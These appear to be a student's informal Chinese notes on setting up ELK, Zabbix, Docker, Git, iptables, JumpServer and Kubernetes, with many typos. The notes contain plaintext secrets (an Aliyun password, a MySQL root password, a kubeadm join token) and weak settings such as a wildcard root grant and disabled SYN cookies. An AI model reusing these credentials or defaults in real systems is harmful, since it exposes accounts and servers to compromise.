搜索引擎什么强大,专门为了搜索而开发的 支持全文索引

   elk 日志收集平台
   由elasticserch、logstash、kibanan三个开源工具组成:
    -elasticsearch 用于搜索和分析日志 #分布式、零配置、自动发现、索引自动分片、索引副本机制  索引 表
    -Logstash 只收集和过滤日志和改格式 #
    -kibana 一款前端展示工具 #可视化       
    理论安装
       *安装elasticserch软件
         -假设A B C三台机器搭建集群
          A -ELK
          
          B -ELK
          C -ELK
       *安装logstash
          A -ELK -Logstash
          B -ELK
          C -ELK   
       *安装部署kibana
          A -ELK -Logstash
          B -ELK -kibana
          C -ELK
       ?待研究 如何加入kafka消息队列服务器 #缓冲服务器
       解决:kafka  查看kafaka(修改lod的配置文件)

-----------------------------------------------------------top命令大致参数--------------------------------------------


临时

----------------------------------------------------------zabbix ---------------------------------------------------
zabbix监控 cacti(耗时,关注数据展示,不管注反馈) ngios
1.服务器 cpu mem disk net in/out
应用程序 便宜thon java php nginx tomcat httpd
监控系统

详细安装过程zabbix
1.请前往官方网站下载安装包(稳定包) https://www.zabbix.com/
点击下载 选择安装 版本 平台 数据库以及web服务器(nginx)
2.解压安装包后
cd zabbix
执行yum -y install *
安装数据库mysql(可参考脚本快速安装)
在数据库内执行 创建用户并且授权
mysql -uroot -p’password’
create database zabbix character set utf8 collate utf8_bin;
create user zabbix@localhost identified by ‘password’;
grant all privileges on zabbix.* to zabbix@localhost;
quit;
导入初始架构和数据,系统将提示您输入新创建的密码
zcat /usr/share/doc/zabbix-server-mysql*/create.sql.gz | mysql -uzabbix -p zabbix
3.修改配置文件
为zabbix配置数据库
vim /etc/zabbix/zabbix_server.conf
DBPassword=password #取消注释并且设置密码
为zabbix配置前端php
vim /etc/opt/rh/rh-nginx116/nginx/nginx.conf
删除 38 行到 80 行的内容
编辑nginx子配置文件
vim /etc/opt/rh/rh-nginx116/nginx/conf.d/zabbix.conf,
取消 listen 和 server_name 的注释并设置
listen 80;
server_name www.shark-zabbix.com; #本地解析
配置php
vim /etc/opt/rh/rh-php72/php-fpm.d/zabbix.conf
listen.acl_users = apache,nginx #添加nginx到指令
php_value[date.timezone] = Asia/Shanghai #修改时区
启动并设置开机自启zabbix
systemctl restart zabbix-server zabbix-agent rh-nginx116-nginx rh-php72-php-fpm
systemctl enable zabbix-server zabbix-agent rh-nginx116-nginx rh-php72-php-fpm
注意检查端口是否已经启动 9000 8000 10050 10051
3.访问页面
http://ip或者域名
拉动滚动条,检查所有项目 ok
填写数据库相关信息
再次检查配置配置信息是否正确
出现登录界面 默认帐号密码 帐号Adimin 密码zabbix

被监控端设置Agent 主动模式 被动模式 支持系统较多 snmp简单网络管理协议
安装方式: 脚本 待完善
yum安装
rpm -Uvh https://repo.zabbix.com/zabbix/5.0/rhel/7/x86_64/zabbix-release-5.0-1.el7.noarch.rpm
#安装zabbix仓库
yum install zabbix-agent -y #安装
systemctl start zabbix-agent #启动
二进制安装
wget https://cdn.zabbix.com/zabbix/binaries/stable/5.0/5.0.7/zabbix_agent-5.0.7-linux-3.0-amd64-static.tar.gz
#下载二进制包
mkdir /usr/local/zabbix-agent
#创建目录
tar -xf zabbix_agent-5.0.7-linux-3.0-amd64-static.tar.gz -C /usr/local/zabbix-agent
#解压安装包
useradd zabbix #创建启动用户
#/usr/local/zabbix-agent/sbin/zabbix_agentd -c /usr/local/zabbix-agent/conf/zabbix_agentd.conf
#指定配置文件启动
vim /usr/local/zabbix-agent/conf/zabbix_agentd.conf
|-----------------------------------------------------------------------
|cat < |############ GENERAL PARAMETERS #################
|##### Passive checks related 被动模式
|### Option: Server
|Server=127.0.0.1 # 修改为zabbix端ip
|### Option: ListenPort
|# ListenPort=10050 # Agent 自己的监听端口
|### Option: ListenIP
|# ListenIP=0.0.0.0 # Agent 自己的监听地址
|
|##### Active checks related 主动模式
|### Option: ServerActive
|ServerActive=127.0.0.1 # 修改为zabbix端ip
|### Option: Hostname
|# Hostname=
|Hostname=Zabbix server # 我在 Server 端的识别码,不可与其他客户端重复
|EOF
----------------------------------------------------------------------
—使用whereis zabbix命令查看zabbix

zabbix代理端
zabbix代理必须使用单独的数据库。将其指向zabbix服务器数据库将破坏配置
只负责:收集 上报 数据不是实时传送的 隔一段时间传输一次 数据库师独立的
安装方式:

--------------主动模式
客户端主动请求服务端获取监控列表,返回数据。

--------------被动模式
服务端端向server端请求获取监控数据。


zabbix设置
-监控redis服务是否存在
-添加主机
-添加监控项
-添加触发器
-设置用户 (提前设置好邮箱)设置报警媒介 设置群组 注意给用户添加权限 读、写
-注意设置动作
-动作设置步骤
-添加拉起服务时,给默认

------------------------------------------架构--------------------------------------------
nginx 可以支持高并发 haproxy
web:nginx+nginx(负载均衡器)+keepalived(高可用) 数据库(主从复制)+redis服务器
log:ELK elasticserch+logstash+kibana 备用(kafka)消息队列服务器
监控:zabbix 监控机器性能各项服务端口
---------------------------------------zabbix优化---------------------------------
调优
1.database:(配置文件修改参数)
-历史数据不要保存太长时间
-尽量让数据缓存在数据库服务器的内存中 一些简单信息获取不用太频繁
触发器表达式
-减少聚合函数的使用,因为涉及到运算会造成损耗
-数据类型 少收集文本,多使用数值类型的 计算机识别快
2.进程 (详细信息可以查看笔记或者查看官方文档) https://www.jianshu.com/p/0d77a8cbf623
链接请求并发数 nginx tomcat 健康状态

------------------------------------------------------docker-----------------------------------------------------------
*Pass 平台及服务
容器其实是一种沙盒技术。能够把你的应用装起来,这样应用于应用之间,就因为有了边界而不互相干扰;而被装进集装箱的应用,也可以被方便
的搬来搬去。 这其实是Pass最理想的状态。
*容器的本质到底是什么?
容器的本质是进程。容器就是未来云计算系统中的进程;容器镜像就像是这个系统里的.exe的安装包
*Docker公司认知
公司名称:原名dotClude,14年改名为docker
*容器需求的成因 是技术演进的一种创新结果 追求高效生产的一种工具。
*随着软件开发的发展,早期的集中式应用部署现在的应用基本都是采用分布式的部署方式,一个应用可能包含多种服务或模块,因此多种服
可能部署在多个环境中,由于多种服务之间存在一些依赖关系,所以可能存在应用在运行过程中的动态迁移问题,而集装箱被誉为运输业与
世界贸易最重要的发明,而docker采用的就是集装箱思想,为应用提供了一个基于容器的标准化输出系统。而容器可以运行在几乎所有的操
作系统上。这样容器可以跑在任何的环境中。
*部署模式的区别:
传统的部署方式 安装 >配置 >运行
Docker部署模式 复制 > 运行
*容器与虚拟机的区别:
1.容器提供基于进程的隔离,而虚拟机提供了资源的完全隔离;
2.容器的启动速度比虚拟机启动的更短; 容器-秒级 虚拟机-分钟级
3.容器使用宿主的内核,而虚拟机使用独立的内核;

  • 部署docker 优点/变化
    实现轻量级的虚拟化,方便快速部署
    对于部署来说极大减少时间(秒级)和人力成本 以前一个虚拟机至少需要几G的磁盘空间,docker可以减少到MB
    docker支持将应用打包进一个可移植的容器中,重新定义了应用开发,测试,部署上线的过程,
    核心理念 BUILD ONCE,RUN ANYWHERE 构建一次,随时随地使用
    -交付物标准化 传统软件交付物 应用程序,依赖软甲安装包,上线文档等非标准化组件。
    *docker的标准交付物 称之为“镜像” 包含应用程序及其依赖的运行环境 大大简化了应用交付的模式
    -一次构建,多次交付 多副本 部署或应用迁移时,更能体现docker的价值
    -应用隔离 容器技术部署速度快,开发 测试更敏捷,提高系统利用率,降低资源成本
    Docker 容器历史 解读

pass

*介绍:容器技术 docker本质上是一个容器技术。linux内核本身存在,docker的存在只是为了管理容器,
容器本质上是一个进程。
docker是一个管理容器的辅助工具。
*服务端 客户端
*Docker 镜像 - Docker images 静态的表现方式
*Docker 仓库 - Docker registeries 存放镜像 提共一个获取镜像的服务
-公有仓库:docker Hub 庞大镜像集合
-私有仓库:
Docker 容器 - Docker containers 动态的表现方式
*组成要素:
*名称空间 namespace 隔离多个进程视图 分割 进程 (linux自己本身拥有的,不是docker的技术)
主机名 - 信号量 - 进程号 - 网络 - 挂载点 - 用户组
k8s的namespace 没有固定功能的全都是人为定义的 不同namespace之间的资源相互独立
docker的namespace 七个明命空间 全部人为定义的

*资源限制 cgroups 控制进程的资源使用 显示使用资源(linux自己本身拥有的,不是docker的技术)
*文件系统 overlay2
cgroup an

docker search centos #在官方仓库查找
NAME DESCRIPTION STARS OFFOCOAO AUTOMATED
centos 描述信息 星级 官方[ok] [ok]
docker search ubuntu -f starts=100 搜索大小至少为100m
docker images 本地仓库
docker run --help -it参数 长时间交互 -d参数推出后,不停止容器 -i交互式 -t终端
docker ps 查看up状态的容器 -a参数可查看所有容器
docker exec -it alice /bin/bash的应用只允许在前台运行

制作镜像: docker export -o centos.tar shark
加-o参数 压缩后的名字 容器的名字
上传镜像: docker import centos.tar 针对容器 名字:tag #如果不指定,默认为latest最新的

导出镜像到本地: docker save -O 拷给别人

直接导出到仓库: docker commit 名称:tag 提交到本地的仓库

加载镜像: daocke load -i centos.tar 针对镜像

启动镜像: docker run -itd cenoos bash

docker cp id:/ . #拷贝
#测试: 先在一个容器内执行一些操作,之后制作上传镜像,停止后删除,启动上传的镜像,查看

----------------------------------------------------------禁止ip伪装----------------------------禁止ping---------------
禁止IP伪装
  [root@xingdian ~]# vim /etc/host.conf
  在里面加上:nospoof on
禁止ping
  [root@xingdian ~]# echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all #禁止ping
​  [root@xingdian ~]# echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_all #允许ping


镜像 理解 如何制作镜像
-分层
-unionfs 联合文件系统 联合展示
文件系统
xfs
ext 2 3 4
fat32 < 4G windows linux mac地址
NTFS windows
docke-镜像-多层
-只读 ro 拷贝 读写 增加保存


Dockerfile 升级版 解决:防止镜像过于臃肿 占内存
-可以把对容器的操作,写一个脚本程序,

先创建一个目录 docker-file
进入
vim Docker-file

#FROM centos:laster #如果本地仓库没有,直接去互联网拉取
描述信息
RUN #先run 变成容器,执行命令
#!/bin/bash
mkdir docker-file
cd docker-file
cat >> ./Dockerfile < FROM centos:latest #运行来源,在本地可以找到 如果找不到,会到互联网拉取
LABEL maintainer=“shark” description=“Install tree vim” #信息
RUN rpm -qa | grep tree || yum install -y tree vim* #RUN 运行,安装
ADD T.py #增加首先你要有这个文件,创建一些命令例如:FROM centos:1.0 COPY ./test/* /root/
#复制test目录下的所有文件到容器/root/的目录下
EOF
查看当前目录cd ls Dockerfile
执行命令: docker duild -t 镜像名:tag . #在此创建的镜像的名字 . 当前目录
docker duild -t 镜像名:tag -f 路径/文件名 . #加-f参数可以指定不是Dockerfile的文件
可以添加一个.隐藏文件忽略.dockerignore #查看文档
制作一个输出 “hellow word”的镜像
yum install gcc glibc-static #确保有两个工具 rpm -qa gcc glibc-static 没有则安装
编辑一个c的源码文件
[root@localhost docker]# cat hello.c
#include

   int main()
         {
       printf("Hello, Yangge! \n");
       return 0;
          }
 编译源代码为一个可执行的二进制文件
 gcc --static hello.c -o hello
 ls查看    有hello.c 和一个编译好的二进制文件 hello   ./hello 本地执行测试
 编辑一个Dockerfile文件
 [root@localhost hello_qf]# cat Dockerfile
 FROM scratch    #空白镜像,类似于python里的pass
 ADD hello /     
 CMD ["/hello"]    #默认的命令  centos默认的为/bin/bash
 docker build -t test:latest .
 查看本低仓库 运行查看输出是否正确  docker run --rm test  执行完成后删除容器    #-rm参数  执行推出后 自动删除容器
  -i参数 进行交互操作   -t 参数 指定伪终端或者终端   -d参数 允许模式为后台运行 -p参数 映射端口 -rm 执行完毕后删除容器

Dockerfile
常用

FROM 镜像来源
ENV
COPY
RUN
ENTRYPOINT
CMD
阿里云密码: Qwer1234

    数据卷  只读  可以设置容器内只读,不会改变宿主机的相关目录

配置文件 容器与宿主机 绑定 在宿主机改变,容器内也发生改变(即使生效) 容器内有些命令没有,容器内编辑十分麻烦
#1.配置文件 2.代码
解决: 数据卷挂载: 文件已经不属于容器
volume的基本使用 多用于收集日志 容器删除后,数据卷的文件不会删除
1.创建一个新的数据卷,并把数据卷挂载到容器的一个目录/webdata下 # docker volume create yangge_vol
#–mount src=yangge_vol,dst=/webapp
2.在容器的/webdata目录下创建文件 #touch a
3.推出后删除容器 #
4.重新运行新的容器,并且挂载数据卷到容器的/dataweb下 #docker run -it --mount src=yangge_vol,dst=/webapp centos
5.运行容器查看是否有之前创建的文件 # ls
bind 绑定 常用于配置文件代码 实时生效
1.启动一个容器并挂载目录 增加 ,readonly只读 容器内的配置文件 --mount src=/a/,dst=/b/ centos

------------------------------------中间键-------------------------------------------------------------------
tomcat是java的一个中间键


--------------------------------------------------路由器 交换机 防火墙-------------------------------------
路由器工作在三层
交换机工作在二层
防火墙工作在四层


语法:
docker run --mount /root/test/index.html:/usr/share/nginx/html/index.html -d -p 8020:80 --name nginx-web nginx

                       宿主机文件             容器内文件              后台运行              做好的网页  注意端口映射
容器内许多命令都没有,对代码升级有难度,所以使用-v挂载,修改宿主机文件,容器内发生改变 多用于代码升级

收集容器内产生的数据(日志) 容器可能会删除 本身只是一个进程而已
数据卷挂载volume 绑定bind 注意使用绝对路径 挂载方式
容器内进程会改变宿主机文件 添加参数 保证宿主机文件安全性 只读 readonlyonly 在容器内只有只读权限,不可进行其他操作
数据:日志.mysql. >volume 绑定 配置文件 >bind
数据卷: 创建了一块磁盘,相当于一块特殊的目录
特性:可以在容器之间共享和重用 修改会立即生效 数据卷更新不会影响镜像 默认会一直存在
bind mount 场景
从主机共享配置文件到容器 更改代码,容器改变共享源码 #补充:需要保证docker的主机结构与容器一直
docker run -it --name web --mount type=bind,source=/源文件宿主机文件src 简写,target=/目标文件容器文件路径dst alpine sh
数据卷挂载 volume
docker volumes ls
数据卷 希望保留容器中产生的数据 1。守护进程自动创建 2.也可手动创建
希望容器中使用宿主机已有的配置文件 bind mount 注意命令格式

docker 网络模式 有四个 容器之间如何通信
默认网络 会自动创建三个
bridge 默认网桥 会通过IP地址进行通信 给容器自动分配ip地址 nat模式 docker0
默认172.18.0.0/16 虚拟机可能是17 默认的网络bridge只能通过ip通信 如果是自定义的网络也可以使用ip与容器名成通信
host 主机网络 使用宿主机的网络 #直接桥接到主机的模式
null 没有分配任何网络
自定义 可以使用容器名通信

自定义网络 -使用 bridge相同主机 overlay不同主机
多个容器 可以利用–name mysql --name redis #使用IP很麻烦
使用容器名称进行通信,
- 使用了自定义网络(自己创建网桥‘桥接’)
docker network create -d 模式(bridge|overlay) 名字 #重新创建一个网段 也可以指定一个网段 create --subnet=192.168.253.0/24 my-net-192
-d参数指定 默认也是bridge
nginx
代码
mysql
redis
------------------------------自定义网络–可简单制作脚本------------------------------
docker run -itd --rm --name=container1 centos
docker run -itd --rm --name=container2 centos
#docker network create -d bridge --subnet 172.25.0.0/16 wordpress_net #自定义网络模式
docker network connect wordpress_net container2
docker run -itd --rm --name=container3 --network=wordpress_net --ip=172.25.0.12 centos
#docker network disconnect 网络名 container #断开与网络的链接
#docker network rm 网络名 #删除一个network

容器的端口发布; 访问宿主机可以访问到容器的端口 映射端口 同一个宿主机容器之间可以互相访问
端口映射 防火墙技术 端口转发 iptables 映射到宿主机端口
docker run -d --rm -p 宿主机地址:8080:80(容器端口) --name nginx(使用哪个镜像)
#访问宿主机8080端口相当于访问容器80端口 也可以使用多个端口映射 注意命令格式 注意容器名称不可重复以及端口不可被占用
映射多个端口 80 443 访问80http跳转rewrite443https
lnmp
-nginx
-mysql docker logs mysql 查看数据库版密码 注意下载的版本5.7 pull mysql默认下载最新的8.0版本 环境变量-e直接设置密码
传参之后不会再随机生成密码 持久化 挂载数据 保存 步骤:先创建一个数据卷 开启一个数据库 实现挂载 进入数据库插入数
传参之后不会再随机生成密码
---------------------实现mysql更改密码,及挂载数据卷实现持久化存储,远程访问-----------------------
docker pull mysql/mysql-server:5.7 #下载mysql5.7版本
docker volume create mysql-data #创建一个数据卷
docker run -d --name=mysql571 --mount src=mysql-data,dst=/var/lib/mysql/ -e MYSQL_ROOT_PASSWORD=QFedu@123 mysql/mysql-server:5.7
#删掉数据库,重新创建新的数据库并绑定mont,进入数据库查看,发现数据保留
docker run -d --name=mysql571 --mount src=mysql-data,dst=/var/lib/mysql/ -e MYSQL_ROOT_PASSWORD=QFedu@123 mysql/mysql-server:5.7
#可以进行远程授权 -e MYSQL_ROOT_PASSWORD传参 指定密码
mysql -uroot -p’QFedu@123’
mysql> grant all on . to ‘root’@‘172.%’ identified by ‘QFedu@123’;
vim Dockerfile #编辑一个Dockerfile
FROM alpine
RUN apk add --no-cache mysql-client
ENTRYPOINT [“mysql”]
docker build -t mysqlclient:v1.1 . #构建一个mysql客户端
docker run -it --name=mysqlclient --network=wordpress_net mysqlclient:v1.1 -h mysql571 -uroot -p’QFedu123’
#注意如果使用 -h主机名,需要提前添加自定义的网络模式 直接访问mysql571
-----------------------------------------------实现nginx+php------------------------------------------
docker pull php:7.4-fpm #拉取php镜像
mkdir php
cd php
vim index.html #编辑php首页
docker network create -d bridge --subnet 172.250.0.0/16 nginx-php
docker run -d -v /root/php/index.php:/var/www/html/index.php php:7.4-fpm #开启一个php的容器,不用映射端口,只需要可以对服务器之间可以访问
docker run -d --name nginx -p 8090:80 --network=nginx-php nginx:alpine #运行nginx并映射端口
docker exec -it nginx sh


lnmp
-centos:7
nginx+php
-centos:7
mysql
-nginx
-mysql
-redis
-zabbix
-elasticsearch

docker ELK集群

*elasticserch 标准化输出
docker run -p 9200:9200 --name=ela -d -e “discovery.type=single-node” elasticsearch
# 一般是后台启动可以不对外开放端口,内部使用
docker logs -f ela #动态查看输出
curl http://127.0.0.1:9200/_cat/health #检查健康状态
–mount type=bind,src=/full_path_to/custom_elasticsearch.yml,dst=/usr/share/elasticsearch/config/elasticsearch.yml

*logstash
mkdir ela cd ela vim logstash_stdout.conf
docker run -itd --rm --name=logstash --mount type=bind,src=/ela/logstash_stdout.conf,dst=/usrl/share/logstash/pipeline/logstash.conf logstash
docker logs logstash #后台观察
*filebeat 收集日志
mkdir filebeat cd filebeat vim www.sharkyun.com.log#日志 vim filebeat.yml#配置文件
docker run -it --rm --name=filebeat --mount type=bind,src=/root/filebeat/www.sharkyun.com.log,dst=/shark.log,readonly --mount type=bind,src=/root/filebeat/filebeat_stdout.yml,dst=/usr/share/filebeat/filebeat.yml,readonly elastic/filebeat:7.5.1
*集群 mkdir -p elk/{filebeat,logstash,elasticsearch}
elastic
添加自定义网卡 wordpress_net
docker run -d --rm --name=elasticsearch --network=wordpress_net -e “discovery.type=single-node” -p 9200:9200 elasticsearch
#添加测试参数
http://127.0.0.1:9200/_cat/health
filebeat
vim logstash/lostash_nginx.conf
docker run -itd --rm --name=logstash -v /elk/logstash/logstash_nginx.conf:/usr/share/logstash/pipeline/logstash.conf --network=wordpress_net logstash
构建一个dockerfile拷贝filebeat的配置文件 yml log结尾的文件

docker pull docker.elastic.co/elasticsearch/elasticsearch:7.10.2-amd64


docker-compose.yml https://docs.docker.com/compose/
自动补全命令有两个 一个默认安装在/usr/local/bin/docker-compose 软件
一个在/etc/bash_completion.d/docker-compose 补全命令
chmod +x /usr/local/bin/docker-compose
docker-compose version
他连的名字一样
断开重连

==========================
docker-compose 命令
docker-compose-bash 补全命令
断开重连后生效
两个命令的名字一样 为了防止冲突这里就不一样了

---------------------------------docker-compose down 停止后 删除
env可以查看环境变量
镜像名称 目录名+h1
项目名称 目录名称
version: “3.8”
services: #镜像信息,服务名
h1: #服务名
#images: “alpine”
#container_name: 容器名字
build: ./Dockerfile固定文件名 绝对路劲或者相对于本文件的相对路径
#build:
# context:./dir
# dockerfile: Dockerfile-txt
----------
#build: /
#image: centos:1.0 #只是起了一个镜像名字
stdin_open: true # -i
tty: true # -t
command: /bin/sh #会覆盖默认的cmd命令 cmd不会覆盖entrypoint,cmd只会变成entrypoint的后缀
#command: [bundle, exec, thin, -p, 3000] #特殊情况下使用
depends_on: #依赖于下面两个,先启动下面的后启动本服务
-nginx
-redis
- 注意:web 服务不会等待 redis 和 db 「完全启动」之后才启动。 只是定义了启动的顺序
environment: #隐藏一些信息 例如密码
RACK_ENV:development #已定义
SESSION_SECRET: #依赖于在宿主机定义的变量 环境变量 # export TEST 声明环境变量
# - RACK_ENV=development
# - SESSION_SECRET
ports: #使用引号 ,防止错误解析
- “8000:80”
- “127.0.0.0:8080:80”
extra_hosts: #添加本地解析
- “web1:172.0.0.1”
- “web2:192.0.0.1”
networks: #自定义网络
- web-net
#############################
host2:
image:alpine
tty: true
stdio_open :true
network:
- web-net
##############################
networks: docker network create #是列表的一般加 s
web-net:
如果是其他项目有的,增加参数external
clear=ctrl r清屏

任务
数据卷 网络模式 各个容器版本的命令 alpine等操作系统 dockerfile、docker-compose肯定会使用
1.Dockerfile 构建镜像 #一年内使用90%
FROM # 构建自己的基础镜像
LABEL #给镜像添加元数据信息的
ADD #把宿主机文件复制到镜像中,并且支持解压-自动解压
COPY #同上,但是不支持解压 官方推荐 src dst
WORKDIR #指定在构建镜像时候的目录,用来切换目录
USER user_name #指定构建镜像中执行命令的用户,用户必须在系统当中存在
HEALTHCHECK test CMD 健康检查的shell命令 #用域检查容器内部服务是否健康
ONBUILD copy . / #但其他镜像以此镜像为基础镜像时,所要执行的命令
ENTRYPOINT /docker-entrypoint.sh #执行运行容器时的默认命令,不会被覆盖掉
CMD #执行运行容器时候的命令或者参数,会被运行容器时的命令覆盖掉
2.docker-compose #40%

Docker-compose 交互 单机容器编排工具
k8s 多机集群的容器编排工具
属性
version “” #版本号不同版本支持不同的属性
services:
redis: 声明的服务名,本质上是一个容器
image: redis:alpine(高山)
ports:
-“6379:6379” #宿主机端口:容器端口
enviroment:
KEY1: VALUE1
KEY2: VALUE2
healthcheck:
test: CMD redis -redis-cli ping && echo 0 || echo 1
interval: 3s
timeout :4s
retries: 3s
command: redis-server #执行默认的命令,一般不需要
networks:
- net1
- net2
networks:
net1:
net2:

容器限制
mkdir sysctls-ulimits/ cd sysctls-ulimits
vim docker-compose.yml
version:
services:
web1:
image:
sysctls: #修改内部参数 最大链接数 凡是通过sysctl -w 设置的参数都可以在这设置
net.core.somaxconn: 1024
net.ipv4.tcp_syncookies: 0
ulimits: #
nproc


HTTP 非加密 请求和响应的数据都是明文的
在整个网络传输的过程中都是明文的,可以被截获到

HTTPS(非对称加密) 请求和响应的数据都是加密的,即使被截获到,也无法破解

如何保证无法 黑客 无法破解加密内容: 加密
加密算法(数学问题)
-对称加密
-123 (加密)123 * 2 = 236 236 (解密)236 / 2 = 123 123
问题:1.如何把一段使用的算法告诉另一端 在网络上进行传输(算法)
密钥(钥匙) ----> 传给对方
隐患
-密钥在传输过程中可能被黑客截获。
- 对称加密:双方使用的密钥是一样的,不是同一把。 速度十分快,不利于大量数据的加密
- 非对称加密:双方使用的密钥是不一样的。 加密解密十分复杂 根据加密内容的大小-使用的时间*成正比

  https  SSL协议分两层   SSL握手协议-连接  SSL记录协议-通信


申购证书-CA机构(包含一个公钥)-数字签名
 证书主要三大功能:

 版本控制  #无专业软件之前手动 tar cp sc 集群 利用一些工具 shell脚本

  - 集中式 
      - 版本库只有一个 ---> 中央服务器
      - 要想使用,需要联网
       版本功能:
                -历史回滚
  - 分布式
      - 没有中央服务器,每个电脑都可以是一个完整的版本控制系统
         每个电脑都可以独立实现并完成版本管理的功能。
         不需要联网

 * 集中式的要想使用版本控制功能需要联网,而分布式的不需要

 Git 三个区域
     - 工作区 版本库所在的目录,目录下必须有 .git 目录
     - 暂存区 将要提交到版本库的文件的地方
             - 逻辑的概念
             - 实际在.git目录下 git add(工作区>暂存区)  
     - master 分支(版本区)
             - 真正存放所有版本的地方
             - 暂存区>master分区  dit commit -m "first a file" #免交互    
     -生产规定
         每次提交的是一个完整功能的代码,不允许影响其他成员的操作使用。 注意使用时间
         

         git log --oneline(一行) --decorate   查看版本信息 

         checkout 提交到暂存区之前有效 之后无法撤销 恢复到最后一次commit保存的状态 -最初的状态 只可以改变文件内容 新增加的文件需要自己删除

Git 分支
合并分支 不加参数 不增加提交点
合并分支 增加参数–no–ff 新增一个提交点 可以在历史里清晰的看到在哪里合并的

远程仓库 gitlab 仓库 需要先进行认证
1.ssh-keygen copy id_rsa.pub
2.登入gitlab gitee网站 打开设置 在ssh-key粘贴
3.git clone www.git/shark606.com 克隆代码仓库

搭建gitlab 在本地pull代码时,记得进行全局设置

CI/Cd
---------------------------------------------------iptable--------------------------------------
iptable 基于linux内核阻隔 它只是一个工具
centos7 默认的firewalld 现在学习iptable
防火墙可以阻断哪些攻击

  • 可以防止某些机器访问本机
  • 可以拒绝某些访问本机的某个端口
  • 可以只运行某些机器访问本地的某几个端口
  • 进行端口转发
  • 进行NAT 地址转化

不能做什么事

  • 不能防止内部机器的攻击(不是绝对的)

  • 不能从正常的数据包中检测到是否含有木马病毒等

  • 防火墙仅仅处理的是 OSI 七层模型 2、3、4
    mac ip port

    解决:
    入侵检测系统 缺点:比较耗资源,只对特定的机器使用 安全性要求高的机器

[root@localhost ~]# iptables -nL 默认的filter的表的策略
允许接受数据包Chain(链) INPUT (policy ACCEPT接受)
target prot opt source destination

运许转发数据包Chain FORWARD (policy ACCEPT)
target prot opt source destination

允许数据包传输Chain OUTPUT (policy ACCEPT)
target prot opt source destination
[root@localhost ~]# iptables -t nat -nL #-t 指定其它表
Chain PREROUTING (policy ACCEPT)
target prot opt source destination

Chain INPUT (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination

Chain POSTROUTING (policy ACCEPT)
target prot opt source destination
[root@localhost ~]# iptables -nL 不加-t参数 默认的都是允许
Chain INPUT (policy ACCEPT)
target prot opt source destination(规则 匹配任何ip)
ACCEPT(接受) tcp – 0.0.0.0/0 0.0.0.0/0 tcp dpt:22

Chain FORWARD (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination

--------------------------------------------jumpserver ---------------------------------------
https://www.bilibili.com/video/BV1RJ411k7qx/?p=4&spm_id_from=pageDriver
查看系统字符集 echo “$LANG”
https://www.jumpserver.org/
安装jumpserver
jumpserver是全球首款完全开源的堡垒机,使用GNU GPL v2.0开源协议,是符合专业运维审计系统。 使用的python3.0的环境 janggo框架
Docker安装 官方不建议 不太靠谱 也可以尝试
centos安装:
机器已经初始化
yum -y install wget gcc git epel-release
安装 python环境 6\7的版本 默认使用的2.0 2020年1月之后不再支持 但还能用 redhat 使用3.0的版本
yum -y install python36 python36-devel
cd /opt
python3.6 -m venv py3
source /opt/py3/bin/activate
yum -y install $(cat rpm_requirements.txt)
git clone http://
进入python3环境
python3 查看版本
deactivate #退出py3的环境
source /opt/py3/bin/activate
安装rpm包的依赖
yum -y install $(cat rpm_requirements.txt)
升级pip包
pip install --upgrade pip
安装redis mysql
pip install -r re.txt -i https://pypi.douban.com/simple
-------------------------------------------------------GITLAB---------------------------------------------------------------
Git-day02-昨日回顾.txt
版本控制系统

  • 集中式

    • 版本库只有一个–》 中央服务器
    • 要想使用版本库的功能,需要联网
      版本库的功能
      - 历史版本的回滚
  • 分布式

    • 没有中央服务器,每个电脑都可以是一个完整的版本控制系统
      也就是说没个电脑都可以独立实现并完成版本管理系统的功能。
      不需要联网

Git
三个区域

  • 工作区
    版本库所在的目录,目前下都必须有 .git 目录

  • 暂存区
    将要提交到版本库的文件所在的地方

    • 逻辑的概念
    • 实际是在 .git 目录下

    工作区 --》 暂存区
    git add .

  • master 分支(版本库)
    真正的存放所有版本地方
    暂存区 --》 master 分支
    git commit -m “每次提交的变更说明”

    • 生产上的规定:
      每次提交的是一个完整功能的代码,不允许出现未完成的代码且
      会影响团队其他成员继续开发工作。
      把控好时间节点。

版本回退

  • git reset 版本的 ID

-----------------------------------------------k8s-------------------------------------------------
docker-compos 单机容器编排工具 无法保证高可用 比bidocker run 更加直观、更加好维护
docker swarm装一个插件 两个dhcp合作分配一个网段的ip地址 etcd(keyvalues)连接两台机器确保对方使用的ip可用
通过封装容器ip连接另一台机器(隧道) 进行通信 两台机器的容器形成一个小型局域网 VXLAN 虚拟可扩展局域网
kubernets 1.跨主机网络通信 2.高可用 3.自动扩缩容 4.负载均衡
etcd集群: 编排(运行几个副本) api应用程序接口 调度(放在哪台机器)
k8s 由master节点和node节点组成 控制节点、计算节点
node kunelet 主管 容器运行时(独立,可以换) CNI 容器网络接口 CRI 容器运行时接口 OCI 操作系统接口 grpc远程调用接口
pod是kubernet的最小调度单位 pod一组容器的集合
go golang
各个组件都是二进制文件 需要配置文件 二进制部署
详情安装笔记参考官方或者本地文档
关闭swap分区
1.检查环境
2.swapoff -a 临时 修改配置文件 挂载设置
3.安装容器运行时 可能会更换掉docker
4.安装kubeadm
可以使用阿里云镜像
5.拉取kubeadm需要的组件(容器镜像)
6.初始化master,安装网络插件,添加节点
7.kubeadm 部署工具 kubelet 主要组件
8.生成证书 配置文件 pod token

套接字sockt 本地通信

docker swam 依赖性容器且必须在同一台机器,可能造成局限性 一台机器内存不足需要切换到另一台,难度十分大

docker的生命周期

pod的生命周期

pending 准备
runing 成功运行
succeeded 运行完成之后退出 同 completed
faild 失败(非0 返回码)
unknow 异常 可能是节点之间的状态有问题


yaml
json 数据记录格式


kubeadm init --kubernetes-version=v1.20.4 --pod-network-cidr=10.244.0.0/16 --apiserver-advertise-address=192.168.253.176 --ignore-preflight-errors=Swap

kubeadm join 192.168.253.176:6443 --token g6q5vb.ent4ydhy1ajftxmk
–discovery-token-ca-cert-hash sha256:7ed9be5461ce46a43ad76af314cc7ad4075e057e51e38670eb99a6bb5147e48e

1.基础概念
POD 内部容器之间的网络通信 用什么组件? pause容器
master 资源调度 统一管理
node 用来承载pod的运行
node ip
pod 在k8s中,不会直接操作容器,把容器包装成pod再进行管理
pause容器 作为pod容器的网络接入点
pod volumes 卷
资源限制
2.副本管理器
Deployment
RC repliction controller
replica set

--------------------------------------------https加密---------------------------------------------------------------------
HTTPS-昨日回顾.txt

HTTP 传输的内容明文
HTTPS 传输的内容是加密的密文

HTTP
